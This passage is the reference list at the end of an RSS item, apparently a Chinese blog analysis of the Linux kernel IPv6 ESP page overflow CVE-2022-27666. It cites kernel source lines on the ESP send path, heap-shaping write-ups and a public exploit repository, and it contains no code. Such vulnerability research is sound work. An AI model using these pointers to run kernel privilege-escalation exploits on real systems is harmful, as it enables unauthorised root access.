0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2504" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2504</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[9]</code> __sys_sendmsg(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2495" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2495</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[10]</code> ___sys_sendmsg(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2466" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2466</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[11]</code> ____sys_sendmsg(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2412" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2412</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[12]</code> sock_sendmsg(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L724" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L724</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[13]</code> sock_sendmsg_nosec(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L704" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L704</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[14]</code> rawv6_sendmsg(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/raw.c#L956" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/raw.c#L956</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[15]</code> rawv6_push_pending_frames(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/raw.c#L613" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/raw.c#L613</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[16]</code> ip6_push_pending_frames(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L1935" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L1935</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[17]</code> ip6_send_skb(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L1915" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L1915</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[18]</code> ip6_local_out(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/output_core.c#L161" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/output_core.c#L161</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[19]</code> dst_output(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/net/dst.h#L450" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/net/dst.h#L450</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[20]</code> xfrm6_output(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/xfrm6_output.c#L94" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/xfrm6_output.c#L94</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[21]</code> NF_HOOK_COND(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/netfilter.h#L287" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/netfilter.h#L287</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[22]</code> __xfrm6_output(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/xfrm6_output.c#L87" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/xfrm6_output.c#L87</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[23]</code> xfrm_output():<br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[24]</code> xfrm_output2(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/xfrm/xfrm_output.c#L614" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/xfrm/xfrm_output.c#L614</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[25]</code> xfrm_output_resume(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/xfrm/xfrm_output.c#L595" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/xfrm/xfrm_output.c#L595</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[26]</code> dst_output(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/net/dst.h#L451" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/net/dst.h#L451</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[27]</code> ip6_output(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L226" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L226</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[28]</code> NF_HOOK_COND(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/netfilter.h#L287" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/netfilter.h#L287</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[29]</code> ip6_finish_output: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L201" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L201</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[30]</code> __ip6_finish_output: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L191" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L191</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[31]</code> ip6_finish_output2(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L126" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L126</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[32]</code> neigh_output(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/net/neighbour.h#L533" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/net/neighbour.h#L533</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[33]</code> neigh_hh_output(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/net/neighbour.h#L519" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/net/neighbour.h#L519</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[34]</code> dev_queue_xmit(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/core/dev.c#L4262" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/core/dev.c#L4262</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[35]</code> __dev_queue_xmit(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/core/dev.c#L4220" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/core/dev.c#L4220</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[36]</code> validate_xmit_skb(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/core/dev.c#L3699" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/core/dev.c#L3699</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[37]</code> validate_xmit_xfrm(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/xfrm/xfrm_device.c#L160" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/xfrm/xfrm_device.c#L160</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[38]</code> esp6_xmit(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6_offload.c#L322" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6_offload.c#L322</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[39]</code> esp_output_head(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv4/esp4.c#L477" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv4/esp4.c#L477</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[40]</code> null_skcipher_crypt(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/crypto/crypto_null.c#L76" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/crypto/crypto_null.c#L76</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[41]</code> esp6_xmit(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6_offload.c#L363" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6_offload.c#L363</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[42]</code> esp6_output_tail(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6.c#L659" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6.c#L659</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[43]</code> crypto_aead_encrypt(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/crypto/aead.c#L94" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/crypto/aead.c#L94</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[44]</code> crypto_authenc_encrypt(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/crypto/authenc.c#L210" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/crypto/authenc.c#L210</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[45]</code> crypto_authenc_copy_assoc(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/crypto/authenc.c#L189" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/crypto/authenc.c#L189</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[46]</code> crypto_skcipher_encrypt(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/crypto/skcipher.c#L630" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/crypto/skcipher.c#L630</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[47]</code> null_skcipher_crypt(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/crypto/crypto_null.c#L85" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/crypto/crypto_null.c#L85</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[48]</code> esp_output_fill_trailer(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/net/esp.h#L14" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/net/esp.h#L14</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[49]</code> page_alloc.c: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/latest/source/mm/page_alloc.c" target="_blank">https://elixir.bootlin.com/linux/latest/source/mm/page_alloc.c</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[50]</code> Linux page allocator: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.kernel.org/doc/gorman/html/understand/understand009.html" target="_blank">https://www.kernel.org/doc/gorman/html/understand/understand009.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[51]</code> free_area: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/mmzone.h#L97" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/mmzone.h#L97</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[52]</code> zone-&gt;free_area: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/mmzone.h#L617" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/mmzone.h#L617</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[53]</code> shaping heap: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html" target="_blank">https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[54]</code> user_key_payload: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/keys/user-type.h#L27" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/include/keys/user-type.h#L27</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[55]</code> ELOISE: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://zplin.me/papers/ELOISE.pdf" target="_blank">https://zplin.me/papers/ELOISE.pdf</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[56]</code> post: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html" target="_blank">https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[57]</code> specific capability: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://lwn.net/Articles/819834/" target="_blank">https://lwn.net/Articles/819834/</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[58]</code> CVE-2022-0185: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.willsroot.io/2022/01/cve-2022-0185.html" target="_blank">https://www.willsroot.io/2022/01/cve-2022-0185.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[59]</code> CVE-2022-0185: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.willsroot.io/2022/01/cve-2022-0185.html" target="_blank">https://www.willsroot.io/2022/01/cve-2022-0185.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[60]</code> clone()分析: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://blog.csdn.net/ren18281713749/article/details/94769023" target="_blank">https://blog.csdn.net/ren18281713749/article/details/94769023</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[61]</code> CVE-2022-27666: Exploit esp6 modules in Linux kernel: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://etenal.me/archives/1825" target="_blank">https://etenal.me/archives/1825</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[62]</code> exploit: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://github.com/plummm/CVE-2022-27666" target="_blank">https://github.com/plummm/CVE-2022-27666</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[63]</code> [漏洞分析] CVE-2022-27666 IPV6 ESP协议页溢出内核提权: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://blog.csdn.net/Breeze_CAT/article/details/123922861" target="_blank">https://blog.csdn.net/Breeze_CAT/article/details/123922861</a></em></p><p><br/></p>



<p><a href="2247483697">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6a621f1d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3OTc2NTMxNA%3D%3D%26mid%3D2247483697%26idx%3D1%26sn%3D4514d56709cdc6c8c52ab2dee55b8bda%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 19 Apr 2022 08:59:00 +0800</pubDate>
    </item>
  </channel>
</rss>